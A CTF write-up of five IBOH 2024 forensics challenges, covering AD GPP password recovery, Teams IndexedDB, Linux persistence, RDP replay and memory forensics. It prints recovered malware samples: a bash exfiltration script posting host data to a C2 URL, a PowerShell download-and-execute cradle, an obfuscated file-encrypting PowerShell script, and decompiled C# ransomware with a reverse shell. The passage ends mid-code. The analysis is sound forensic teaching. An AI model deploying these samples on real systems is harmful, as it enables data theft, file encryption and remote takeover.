Post

IBOH CTF 2024 (Local Category) - Writeups

This is a writeup for all forensics challenges from IBOH 2024 (Local Category). Being the backseat gamer I am, I went ahead and attempted Zach’s challenges and made a quick writeup for it since nobody has done so currently.

New Hire [Forensics]

Question: After the intern left and was arrested for hacking his previous company, the company has finally decided to take in new hires! What could go wrong? Oh no, the company was hacked again! We have gathered evidence from the attacker’s machine!

Flag: IBOH24{AD_PWN3d_L1ke_OscP_@gAiN}

We are given files that seems to be output of an Active Directory (AD) enumeration tool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ tree kali 
kali
├── loot
│   └── Groups.xml
└── recon
    ├── 20240815030319_computers.json
    ├── 20240815030319_containers.json
    ├── 20240815030319_domains.json
    ├── 20240815030319_gpos.json
    ├── 20240815030319_groups.json
    ├── 20240815030319_ous.json
    └── 20240815030319_users.json

3 directories, 8 files

The Groups.xml file revealed an AES-256 encrypted password for a user named ‘rgraham’. However, at some point in 2012, Microsoft made an oppsie by publishing the key on MSDN, allowing anyone to decrypt passwords stored in the file. This means that passwords set using GPP are now trivial to crack. One easy way to decrypt this was to utilise a tool called gpp-decrypt, where the 2nd part of the flag can be identified.

1
2
3
4
5
6
7
8
9
10
11
12
└─$ python3 gpp-decrypt.py -f ~/Desktop/shared/kali/loot/Groups.xml
/home/kali/Desktop/gpp-decrypt/gpp-decrypt.py:10: SyntaxWarning: invalid escape sequence '\ '
  banner = '''

                               __                                __ 
  ___ _   ___    ___  ____ ___/ / ___  ____  ____  __ __   ___  / /_
 / _ `/  / _ \  / _ \/___// _  / / -_)/ __/ / __/ / // /  / _ \/ __/
 \_, /  / .__/ / .__/     \_,_/  \__/ \__/ /_/    \_, /  / .__/\__/ 
/___/  /_/    /_/                                /___/  /_/         

[ * ] Username: rgraham
[ * ] Password: L1ke_OscP_@gAiN}

To find the 1st part of the flag, I had to check each JSON file manually where a long base64 encoded string can be identified in the 20240815030319_users.json file.

newhire1

1
2
└─$ echo "VwBlACAAZABpAGQAbgAnAHQAIABsAGUAYQByAG4AIABvAHUAcgAgAGwAZQBzAHMAbwBuACAAcwBvACAAdABoAGkAcwAgAGkAcwAgAG8AbgBlACAAaABhAGwAZgAgAG8AZgAgAHQAaABlACAAZgBsAGEAZwA6ACAASQBCAE8ASAAyADQAewBBAEQAXwBQAFcATgAzAGQAXwA=" | base64 -d
We didn't learn our lesson so this is one half of the flag: IBOH24{AD_PWN3d_

Help Me in Assignment [Forensics]

Question: N/A

Flag: IBOH24{w3lcomE_70_My_Cl45s}

We are given an AD1 image to investigate. Analyzing it, a DOC file can be identified in the Desktop folder where it mentioned something about messaging lecturer in MS Teams.

assign1

assign2

Here, many players seem to struggle since certain MS Teams artifacts were missing in the AD1 image, including C:\Users\XXX\AppData\Local\Microsoft\Teams and C:\Users\XXX\AppData\Roaming\Microsoft\Teams. Doing research online, this blog mentioned that there is actually another location where MS Teams messages can be recovered which was the IndexDB file.

Even if you are not interested in the nitty-gritty details of the LevelDB databases, you should know that LevelDB databases use an append log that contains data for storing the most recent transactions that can grow up to a size of 4 MB. Once the .log file has reached its maximum size, the records get deduplicated and compressed into one or more higher level ldb files. This detail is crucial as this step increases the entropy makes string searches highly ineffective for the higher level files.

Hence, a parsing tool from forensicsim can be utilised to parse and beautify the message logs located in C:\Users\heehe\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\Default\IndexedDB\https_teams.live.com_0.indexeddb.leveldb\.

assign3

assign4

1
2
└─$ echo "SUJPSDI0e3czbGNvbUVfNzBfTXlfQ2w0NXN9" | base64 -d
IBOH24{w3lcomE_70_My_Cl45s}

Fallout [Forensics]

Question: As part of Vault 181’s experiment, a vault was filled with 100 people, accompanied with 100 laptops. Vault Tech wanted to observe the activities of the vault dwellers, so they installed backdoors through several persistence techniques.

Flag: IBOH24{pers1sT3NC3_i5_Futi1e}

We are given an E01 image to investigate. Analyzing it, a Linux system can be identified where a potential backdoor was supposedly placed by the malware. Checking out the home directory, the bash history seems to be empty, most likely wiped out by the malware to remain hidden.

fall2

Busting out the Linux persistence sheet, common persistence methods can be analyzed. Going through the cron tab, a suspicious cron job can be identified to be collecting and submiting anonymized statistics about installed software on a system.

fall1

fall3

Checking out the initialization scripts (init.d), another suspicious shell script can be identified that seem to be fetching an encrypted file (ubuntu_update.sh.enc) and an AES key (aes.key.enc) after the system obtains an IP address on the specified network interface.

fall4

Checking the Systemd services, a suspicious service can be identified running a bash command to fetch a bash script from a URL. Seems like the bash script was decrypting the private key file and also the encrypted file identified previously from the initialization script.

fall5

1
2
3
4
5
6
7
└─$ curl -s https://gist.githubusercontent.com/zachwong02/a5856cf57578da36179b920615d3e154/raw/491aee2c3edb262f4ad22852ba5dd41223b5e203/ubuntu_update
#/bin/bash

openssl rsautl -decrypt -inkey /home/vaultboy/.ssh/private_key.pem -in /tmp/ubuntu_license.zip -out /tmp/ubuntu_license
openssl enc -d -aes-256-cbc -in /tmp/ubuntu_update.sh.zip -pass file:/tmp/ubuntu_license | bash

rm /tmp/ubuntu_license.zip /tmp/ubuntu_license /tmp/ubuntu_update.sh.zip

At this point, the encrypted file and AES key from /tmp/ can be dumped and used for AES decryption to obtain the flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ openssl rsautl -decrypt -inkey private_key.pem -in ubuntu_license.zip -out ubuntu_license      
The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead.

└─$ openssl enc -d -aes-256-cbc -in ubuntu_update.sh.zip -pass file:ubuntu_license       
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
#!/bin/bash

# Define the server URL
SERVER_URL="http://192.168.138.128/c2"

# Collect the output of the commands
USERNAME=$(whoami)
HOSTNAME=$(hostname)
IFCONFIG=$(ifconfig)
BASH_HISTORY=$(cat ~/.bash_history)

# Create the data to be sent
DATA=$(cat <<EOF
{
    "username": "$USERNAME",
    "hostname": "$HOSTNAME",
    "ifconfig": "$IFCONFIG",
    "bash_history": "$BASH_HISTORY"
    "flag": IBOH24{pers1sT3NC3_i5_Futi1e}
}
EOF
)

# Send the POST request
curl -X POST -H "Content-Type: application/json" -d "$DATA" $SERVER_URL

SCP 6.0 [Forensics]

Question: SITE-[REDACTED] has been breached by the Chaos Insurgency. Luckily, the network traffic has been captured by the SCP Foundation so that they will live up to their motto. Secure. Contain. Protect.

Flag: IBOH24{H0neyPOt_W1TH_MiTm_mOnIt0riNG}

We are given a PCAP and SSL key log file to investigate. Another day another SCP challenge from Zach. After decrypting the TLS packets with the SSL key log file given, several RDP packets can be identified with other foreign protocols. Doing some research online, this blog mentioned the protocols being utilised together with RDP to facilitate a proper exchange of information between the local machine and RDP server.

scp1

Despite decrypting the RDP packets, the flag could not be identified from the TLS stream. It seems that the only way to actually obtain a flag from this was to replay the RDP session.

scp4

There aren’t many blogs about this, but this blog really went in-depth in explaining RDP replaying using the PyRDP tool. First, the RDP packets had to be exported from the PCAP by exporting the PDU to a new PCAP file.

scp2

After saving the new PCAP file (MUST BE IN PCAP FORMAT), the PyRDP tool can be used to convert it to specified format for viewing the RDP session. There were some issues when downloading the tool but it was fixed after awhile.

scp3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ pyrdp-convert -s ~/Desktop/shared/dist/ssl.log -o ~/Desktop ~/Desktop/shared/dist/captureout.pcap
[*] Analyzing PCAP '/home/kali/Desktop/shared/dist/captureout.pcap' ...
    - 192.168.163.159:49772 -> 192.168.163.148:3389 : plaintext
    - 192.168.163.148:44186 -> 192.168.163.158:3389 : plaintext
[*] Processing 192.168.163.159:49772 -> 192.168.163.148:3389
100% (961 of 961) |#################################################################################| Elapsed Time: 0:00:00 Time:  0:00:00

[+] Successfully wrote '/home/kali/Desktop/20240815113311_192.168.163.159:49772-192.168.163.148:3389.pyrdp'
[*] Processing 192.168.163.148:44186 -> 192.168.163.158:3389
100% (1018 of 1018) |###############################################################################| Elapsed Time: 0:00:00 Time:  0:00:00

[+] Successfully wrote '/home/kali/Desktop/20240815113311_192.168.163.148:44186-192.168.163.158:3389.pyrdp'

└─$ pyrdp-player

output

Malmon [Forensics]

Question: Our malware analyst has recently come across a malware sample which is not zipped and he accidentally executed the sample causing the malware to escape!

Flag: IBOH24{6Otta_cA7CH_tHem_A11!}

We are given a memory dump and some encrypted files to investigate. Analyzing the processes, we can identify a suspicious program executing powershell and other system processes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ python3 vol.py -f ~/Desktop/shared/Malmon/malmon.raw windows.pstree                                     
Volatility 3 Framework 2.10.0
Progress:  100.00               PDB scanning finished                          
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime        Audit   Cmd     Path

---SNIP---

** 4360 4284    explorer.exe    0x9a0a6ff18300  78      -       1       False   2024-09-21 15:00:47.000000 UTC  N/A     \Device\HarddiskVolume4\Windows\explorer.exe    C:\Windows\Explorer.EXE      C:\Windows\Explorer.EXE
*** 6596        4360    SecurityHealth  0x9a0a75668340  5       -       1       False   2024-09-21 15:00:59.000000 UTC  N/A     \Device\HarddiskVolume4\Windows\System32\SecurityHealthSystray.exe   "C:\Windows\System32\SecurityHealthSystray.exe"         C:\Windows\System32\SecurityHealthSystray.exe
*** 6920        4360    OneDrive.exe    0x9a0a753343c0  26      -       1       True    2024-09-21 15:01:00.000000 UTC  N/A     \Device\HarddiskVolume4\Users\admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe    "C:\Users\admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background      C:\Users\admin\AppData\Local\Microsoft\OneDrive\OneDrive.exe
*** 2668        4360    vmtoolsd.exe    0x9a0a7532e380  11      -       1       False   2024-09-21 15:00:59.000000 UTC  N/A     \Device\HarddiskVolume4\Program Files\VMware\VMware Tools\vmtoolsd.exe       "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr    C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
*** 8372        4360    MRCv120.exe     0x9a0a758e40c0  17      -       1       True    2024-09-21 15:02:49.000000 UTC  N/A     \Device\HarddiskVolume5\MRCv120.exe     "E:\MRCv120.exe"     E:\MRCv120.exe
*** 3284        4360    malmon.exe      0x9a0a743b0080  8       -       1       True    2024-09-21 15:01:45.000000 UTC  N/A     \Device\HarddiskVolume4\Users\admin\Desktop\malmon.exe       "C:\Users\admin\Desktop\malmon.exe"     C:\Users\admin\Desktop\malmon.exe
**** 6816       3284    conhost.exe     0x9a0a75640080  7       -       1       False   2024-09-21 15:01:45.000000 UTC  N/A     \Device\HarddiskVolume4\Windows\System32\conhost.exe\??\C:\Windows\system32\conhost.exe 0x4  C:\Windows\system32\conhost.exe
**** 5532       3284    powershell.exe  0x9a0a75905080  15      -       1       True    2024-09-21 15:01:46.000000 UTC  N/A     \Device\HarddiskVolume4\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe       "powershell"    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
***** 1104      5532    conhost.exe     0x9a0a75953080  3       -       1       False   2024-09-21 15:01:46.000000 UTC  N/A     \Device\HarddiskVolume4\Windows\System32\conhost.exe\??\C:\Windows\system32\conhost.exe 0x4  C:\Windows\system32\conhost.exe

---SNIP---

Since it was executing powershell, I went ahead and dumped the malware to run strings on it to potentially identify the malicious powershell commands.

1
2
3
4
5
└─$ strings pid.3284.dmp | grep powershell      
powershell.exe -exec bypass -NoP -NonI -W Hidden -c "iwr https://gist.githubusercontent.com/zachwong02/40b6b4dd9b59081f539863f889b1ed95/raw/1f40b7d454300b70ade8a8c1e15f61c6509ffb06/microsoft_update.ps1 -UseBasicParsing | Select-Object -Expand Content | iex"
powershell.exe -exec bypass -NoP -NonI -W Hidden -c "iwr https://gist.githubusercontent.com/zachwong02/40b6b4dd9b59081f539863f889b1ed95/raw/1f40b7d454300b70ade8a8c1e15f61c6509ffb06/microsoft_update.ps1 -UseBasicParsing | Select-Object -Expand Content | iex"

---SNIP---

Lo and behold, an obfuscated powershell script can be obtained from the URL identified previously.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
  sEt-ItEm  ('Va'+'r'+'iabLE:Y'+'fKSE2') (  [type]("{0}{2}{1}" -f 'CO','rT','nvE') )  ;   ${5`YN`Mz}=[tYPE]("{5}{3}{2}{1}{0}{6}{8}{4}{7}" -F 'r','c','ITy.','uR','a','sysTem.SeC','yPTOGr','eS','aphY.')  ;  ${0`sO}  =  [type]("{3}{7}{9}{4}{5}{2}{6}{10}{0}{1}{8}" -F'P','hy.C','.','SY','u','rITy','crYptOg','Ste','iPHErmODe','m.SEc','RA')  ;    SEt-itEM  VARiAblE:VFj4K  ([tyPe]("{0}{2}{1}{3}{4}" -f 'sy','.I','STEm','O.Fil','e') ) ;${VRLH`H`UxY`99} = ("{6}{5}{2}{0}{7}{4}{3}{1}"-f 'WQm6','zHo=','ZwHYuiK','FAp4dRa1RhW','ow1PfP/DNCo','t','6P9U','Nb')
${fQvX`Ep`kE`99} = ("{1}{4}{7}{6}{5}{2}{0}{3}" -f 'A','ml6e2HwOgw','RzXb','==','cf','D0s','s','7')
${b`BQiulC`U99} = ((("{6}{3}{1}{2}{5}{4}{0}{7}"-f 'top{0}importan','s{0','}a','{0}User','sk','dmin{0}De','C:','t'))  -f  [cHar]92)
if (-Not (.("{1}{0}"-f '-Path','Test') ${BBQ`Iu`lcU99})) {exit}
${LtJ`eQl`Kx99} = ("{1}{0}" -f '.doc','*'), ("{2}{0}{1}"-f 'c','x','*.do'), ("{1}{0}" -f 's','*.xl'), ("{0}{1}"-f '*.xls','m'), ("{0}{1}"-f'*','.pdf'), ("{0}{1}" -f'*','.txt')
function eXI`St {
    param ([string]${kCrB`VFu`Y99})
    
    ${C`oYMV`YdO99} =  ${Yfk`Se2}::("{0}{4}{3}{2}{1}"-f 'FromB','tring','S','4','ase6').Invoke(${VRlh`HUX`y99})
    ${O`HM`F`pKpA99} =   (Dir  ('VA'+'r'+'Iable:y'+'FksE2') ).vALUe::("{0}{4}{3}{1}{2}"-f'F','se64','String','omBa','r').Invoke(${FqvxEP`ke`99})
    ${eL`R`Vzypl99} =  ${VfJ`4K}::("{1}{2}{0}"-f'llBytes','Rea','dA').Invoke(${KC`R`BvFU`y99})
    ${UElQ`Tb`xg`99} =   (  ls  VARIAbLe:5ynmz ).vAluE::("{0}{1}{2}"-f'Cr','eat','e').Invoke()
    ${UElQt`B`x`g99}."K`eY" = ${c`oYm`Vydo`99}
    ${UeLQT`BxG`99}."IV" = ${OHmF`PK`Pa`99}
    ${uE`LQ`TbXg`99}."MO`DE" =   ${0`So}::"c`Bc"
    ${BAdm`w`NX`G99} = ${UElqT`Bx`G99}.("{0}{2}{1}{3}{4}"-f'Cr','ncr','eateE','ypt','or').Invoke()
    ${Ko`e`w`TRzK99} = ${b`ADMwnx`G`99}.("{1}{2}{3}{0}"-f'ock','Tra','nsformFina','lBl').Invoke(${ElRvz`yp`l99}, 0, ${eLRv`zYpL`99}."len`gTh")
     ${V`Fj4K}::("{0}{1}{2}{3}"-f 'W','r','iteAllByte','s').Invoke(${Kc`R`B`VFuy99}, ${K`OewTrZ`k99})
}
${W`qcK`N`Xml99} = ((("{3}{10}{5}{1}{7}{11}{8}{4}{2}{9}{0}{6}" -f 'o','Microso','r','HKCU:LXJ','entVe','J','nLXJRun','ftLXJW','Curr','si','SoftwareLX','indowsLXJ'))."R`EPlaCe"('LXJ',[sTrIng][cHaR]92))
${fHY`Hv`No`W99} = ("{1}{0}" -f 'g','fla')
${dzef`Ox`dP99} = &("{3}{5}{2}{4}{1}{0}" -f 'erty','mProp','t','G','-Ite','e') -Path ${W`Q`ck`NxmL99} -Name ${fhy`HVn`ow99} -ErrorAction ("{4}{1}{2}{3}{0}"-f'ue','en','tlyCo','ntin','Sil')
if (-Not ${dzE`F`ox`dp99}) {exit}
foreach (${fsXVd`l`TE99} in ${lt`j`Eq`lKx99}) {
    ${FI`leS} = .("{2}{1}{0}" -f 'ChildItem','-','Get') -Path ${b`BQIU`l`cU99} -Recurse -Filter ${fsX`VDLt`e`99}
    foreach (${F`ile} in ${f`i`LeS}) {.("{0}{1}" -f 'exis','t') -kCRbVFUY99 ${fi`LE}."FUlLna`ME"}
}

The powershell script seem to be a common obfuscation technique, so we can utilise PowerDecode to automate the deobfuscation process for us. I’ve also beautify them for a better analysis.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
sEt-ItEm 'VariabLE:YfKSE2' ([type]'COnvErT');
${5YNMz} = [tYPE]'sysTem.SeCuRITy.cryPTOGraphY.aeS';
${0sO} = [type]'SYStem.SEcurITy.crYptOgRAPhy.CiPHErmODe';
SEt-itEM VARiAblE:VFj4K ([tyPe]'sySTEm.IO.File');
${VRLHHUxY99} = '6P9UtZwHYuiKWQm6Nbow1PfP/DNCoFAp4dRa1RhWzHo='
${fQvXEpkE99} = 'ml6e2HwOgwcf7sD0sRzXbA=='
${bBQiulCU99} = (('C:\Users\admin\Desktop\important') -f '\')
if (-Not (Test-Path ${BBQIulcU99})) {exit}
${LtJeQlKx99} = '*.doc', '*.docx', '*.xls', '*.xlsm', '*.pdf', '*.txt'
function eXISt {
    param ([string]${kCrBVFuY99})

    ${CoYMVYdO99} =  ${YfkSe2}::'FromBase64String'.Invoke(${VRlhHUXy99})
    ${OHMFpKpA99} =   (Dir 'VArIable:yFksE2').vALUe::'FromBase64String'.Invoke(${FqvxEPke99})
    ${eLRVzypl99} =  ${VfJ4K}::'ReadAllBytes'.Invoke(${KCRBvFUy99})
    ${UElQTbxg99} =   (  ls  VARIAbLe:5ynmz ).vAluE::'Create'.Invoke()
    ${UElQtBxg99}.KeY = ${coYmVydo99}
    ${UeLQTBxG99}.IV = ${OHmFPKPa99}
    ${uELQTbXg99}.MODE = ${0So}::"cBc"
    ${BAdmwNXG99} = ${UElqTBxG99}.CreateEncryptor.Invoke()
    ${KoewTRzK99} = ${bADMwnxG99}.TransformFinalBlock.Invoke(${ElRvzypl99}, 0, ${eLRvzYpL99}.lengTh)
    ${VFj4K}::'WriteAllBytes'.Invoke(${KcRBVFuy99}, ${KOewTrZk99})
}
${WqcKNXml99} = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
${fHYHvNoW99} = 'flag'
${dzefOxdP99} = Get-ItemProperty -Path ${WQckNxmL99} -Name ${fhyHVnow99} -ErrorAction 'SilentlyContinue'
if (-Not ${dzEFoxdp99}) {exit}
foreach (${fsXVdlTE99} in ${ltjEqlKx99}) {
    ${FIleS} = Get-ChildItem -Path ${bBQIUlcU99} -Recurse -Filter ${fsXVDLte99}
    foreach (${File} in ${fiLeS}) {exist -kCRbVFUY99 ${fiLE}.FUlLnaME}
}

Analyzing the script, the exist() function seem to be encrypting the files using AES-CBC with a base64 key (6P9UtZwHYuiKWQm6Nbow1PfP/DNCoFAp4dRa1RhWzHo=) and IV ('ml6e2HwOgwcf7sD0sRzXbA==).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function eXISt {
    param ([string]${kCrBVFuY99})

    ${CoYMVYdO99} =  ${YfkSe2}::'FromBase64String'.Invoke(${VRlhHUXy99})
    ${OHMFpKpA99} =   (Dir  'VArIable:yFksE2' ).vALUe::'FromBase64String'.Invoke(${FqvxEPke99})
    ${eLRVzypl99} =  ${VfJ4K}::'ReadAllBytes'.Invoke(${KCRBvFUy99})
    ${UElQTbxg99} =   (  ls  VARIAbLe:5ynmz ).vAluE::'Create'.Invoke()
    ${UElQtBxg99}.KeY = ${coYmVydo99}
    ${UeLQTBxG99}.IV = ${OHmFPKPa99}
    ${uELQTbXg99}.MODE =   ${0So}::"cBc"
    ${BAdmwNXG99} = ${UElqTBxG99}.CreateEncryptor.Invoke()
    ${KoewTRzK99} = ${bADMwnxG99}.TransformFinalBlock.Invoke(${ElRvzypl99}, 0, ${eLRvzYpL99}.lengTh)
     ${VFj4K}::'WriteAllBytes'.Invoke(${KcRBVFuy99}, ${KOewTrZk99})
}

Additionally, right below the exist() function seems to be encrypting the files again using the value of the flag key from the hive HKCU:\Software\Microsoft\Windows\CurrentVersion\Run.

1
2
3
4
5
6
7
8
${WqcKNXml99} = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
${fHYHvNoW99} = 'flag'
${dzefOxdP99} = Get-ItemProperty -Path ${WQckNxmL99} -Name ${fhyHVnow99} -ErrorAction 'SilentlyContinue'
if (-Not ${dzEFoxdp99}) {exit}
foreach (${fsXVdlTE99} in ${ltjEqlKx99}) {
    ${FIleS} = Get-ChildItem -Path ${bBQIUlcU99} -Recurse -Filter ${fsXVDLte99}
    foreach (${File} in ${fiLeS}) {exist -kCRbVFUY99 ${fiLE}.FUlLnaME}
}

So we have to dump the user registry too to analyze the key value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
└─$ python3 vol.py -f ~/Desktop/shared/Malmon/malmon.raw windows.filescan | grep -iE ntuser.dat                     
0x9a0a737b80c0.0\Windows\ServiceProfiles\NetworkService\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM.blf
0x9a0a737b8250  \Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0x9a0a737b83e0  \Windows\ServiceProfiles\NetworkService\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000002.regtrans-ms
0x9a0a737b8570  \Windows\ServiceProfiles\NetworkService\NTUSER.DAT.LOG2
0x9a0a737b8bb0  \Windows\ServiceProfiles\NetworkService\NTUSER.DAT.LOG1
0x9a0a737b8ed0  \Windows\ServiceProfiles\NetworkService\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000001.regtrans-ms
0x9a0a737bb700  \Device\HarddiskVolume4\Windows\ServiceProfiles\NetworkService\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM
0x9a0a737bb890  \Device\HarddiskVolume4\Windows\ServiceProfiles\NetworkService\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM
0x9a0a73eebd40  \Device\HarddiskVolume4\Windows\ServiceProfiles\LocalService\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM
0x9a0a73eef250  \Windows\ServiceProfiles\LocalService\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM.blf
0x9a0a73eef3e0  \Windows\ServiceProfiles\LocalService\NTUSER.DAT
0x9a0a73eef570  \Windows\ServiceProfiles\LocalService\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000002.regtrans-ms
0x9a0a73eef700  \Windows\ServiceProfiles\LocalService\NTUSER.DAT.LOG2
0x9a0a73eefa20  \Device\HarddiskVolume4\Windows\ServiceProfiles\LocalService\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM
0x9a0a73eefbb0  \Windows\ServiceProfiles\LocalService\NTUSER.DAT.LOG1
0x9a0a73eefd40  \Windows\ServiceProfiles\LocalService\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000001.regtrans-ms
0x9a0a743ff570  \Users\admin\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM.blf
0x9a0a7441e250  \Users\admin\NTUSER.DAT
0x9a0a7441e3e0  \Users\admin\ntuser.dat.LOG1
0x9a0a7441e570  \Users\admin\ntuser.dat.LOG2
0x9a0a7441ebb0  \Users\admin\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000001.regtrans-ms
0x9a0a744260c0  \Users\admin\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TMContainer00000000000000000002.regtrans-ms
0x9a0a74426700  \Device\HarddiskVolume4\Users\admin\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM
0x9a0a74426a20  \Device\HarddiskVolume4\Users\admin\NTUSER.DAT{1c3790b4-b8ad-11e8-aa21-e41d2d101530}.TM

└─$ python3 vol.py -f ~/Desktop/shared/Malmon/malmon.raw -o ~/Desktop/shared/Malmon windows.dumpfiles --virtaddr 0x9a0a7441e250
Volatility 3 Framework 2.10.0
Progress:  100.00               PDB scanning finished                          
Cache   FileObject      FileName        Result

DataSectionObject       0x9a0a7441e250  NTUSER.DAT      file.0x9a0a7441e250.0x9a0a7441b2d0.DataSectionObject.NTUSER.DAT.dat
SharedCacheMap  0x9a0a7441e250  NTUSER.DAT      Error dumping file

malmon2

The flag can be obtained after decrypting the malmon.pdf file twice.

malmon3

malmon4

Edit: After disassembling malware as requested by the author, the malware behavior can be analyzed. When the malware runs, the malware first proceeds to generate and place a random AES key and IV into the registry hive, and encrypts the files within the ‘important’ folder using them. It also implants a Powershell script within the registry hive which will then search whether there is a random key and IV. If yes, the Powershell script encrypts the files again with a static key and IV. Finally, the malware opens a TCP connection to 192.168.163.129:4444, allowing remote execution of commands via PowerShell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.Windows.Forms;
using Microsoft.Win32;

// Token: 0x02000005 RID: 5
internal class Program
{
	// Token: 0x06000016 RID: 22
	[DllImport("user32.dll", SetLastError = true)]
	public static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);

	// Token: 0x06000017 RID: 23 RVA: 0x0000240D File Offset: 0x0000060D
	private static void PressKey(byte keyCode)
	{
		Program.keybd_event(keyCode, 0, 1U, UIntPtr.Zero);
	}

	// Token: 0x06000018 RID: 24 RVA: 0x0000241E File Offset: 0x0000061E
	private static void ReleaseKey(byte keyCode)
	{
		Program.keybd_event(keyCode, 0, 3U, UIntPtr.Zero);
	}

	// Token: 0x06000019 RID: 25 RVA: 0x00002430 File Offset: 0x00000630
	private static bool IsRegistryKeySet()
	{
		bool flag = false;
		ValueTuple<string, string> valueTuple = AESKeyGenerator.RetrieveAESKey();
		string item = valueTuple.Item1;
		string item2 = valueTuple.Item2;
		RegistryKey registryKey = Registry.ClassesRoot.OpenSubKey(AESKeyGenerator.Decrypt(Config.AppID, Config.AesKey, Config.AesIV) ?? "");
		string text = registryKey.GetSubKeyNames()[0];
		registryKey.Close();
		string text2 = AESKeyGenerator.Decrypt(Config.FeedbackHubCommand, Config.AesKey, Config.AesIV);
		string text3 = text2.Replace("{appId}", text);
		RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey(text3);
		string[] valueNames = registryKey2.GetValueNames();
		foreach (string text4 in valueNames)
		{
			bool flag2 = text4 == "DelegateExecute";
			flag = !flag2;
		}
		registryKey2.Close();
		return flag;
	}

	// Token: 0x0600001A RID: 26 RVA: 0x00002514 File Offset: 0x00000714
	private static void EncryptFilesInDirectory(string directoryPath, string aesKey, string aesIV)
	{
		bool flag = !Directory.Exists(directoryPath);
		if (!flag)
		{
			foreach (string text in Directory.GetFiles(directoryPath))
			{
				try
				{
					byte[] array = File.ReadAllBytes(text);
					byte[] array2 = AESKeyGenerator.Encrypt(array, aesKey, aesIV);
					File.WriteAllBytes(text, array2);
				}
				catch (Exception ex)
				{
					Console.WriteLine("Error encrypting file " + text + ": " + ex.Message);
				}
			}
			foreach (string text2 in Directory.GetDirectories(directoryPath))
			{
				Program.EncryptFilesInDirectory(text2, aesKey, aesIV);
			}
		}
	}

	// Token: 0x0600001B RID: 27 RVA: 0x000025D4 File Offset: 0x000007D4
	private static void Main(string[] args)
	{
		bool flag = !Program.IsRegistryKeySet();
		if (flag)
		{
			AESKeyGenerator.GenerateAndStoreAESKey();
			Persistence.SetRegistryForPowerShellPersistence();
		}
		ValueTuple<string, string> valueTuple = AESKeyGenerator.RetrieveAESKey();
		string item = valueTuple.Item1;
		string item2 = valueTuple.Item2;
		string text = "C:\\Users\\admin\\Desktop\\important";
		Program.EncryptFilesInDirectory(text, item, item2);
		Program.PressKey(45);
		SendKeys.SendWait("%f");
		Program.ReleaseKey(45);
		TcpClient tcpClient = new TcpClient("192.168.163.129", 4444);
		try
		{
			Stream stream = tcpClient.GetStream();
			try
			{
				StreamReader streamReader = new StreamReader(stream);
				try
				{
					Program.streamWriter = new StreamWriter(stream);
					StringBuilder stringBuilder = new StringBuilder();
					Process process = new Process();
					process.StartInfo.FileName = "powershell";
					process.StartInfo.CreateNoWindow = true;
					process.StartInfo.UseShellExecute = false;
					process.StartInfo.RedirectStandardOutput = true;
					process.StartInfo.RedirectStandardInput = true;
					process.StartInfo.RedirectStandardError = true;
					process.OutputDataReceived += Program.CmdOutputDataHandler;
					process.Start();
					process.BeginOutputReadLine();
					for (;;)
					{
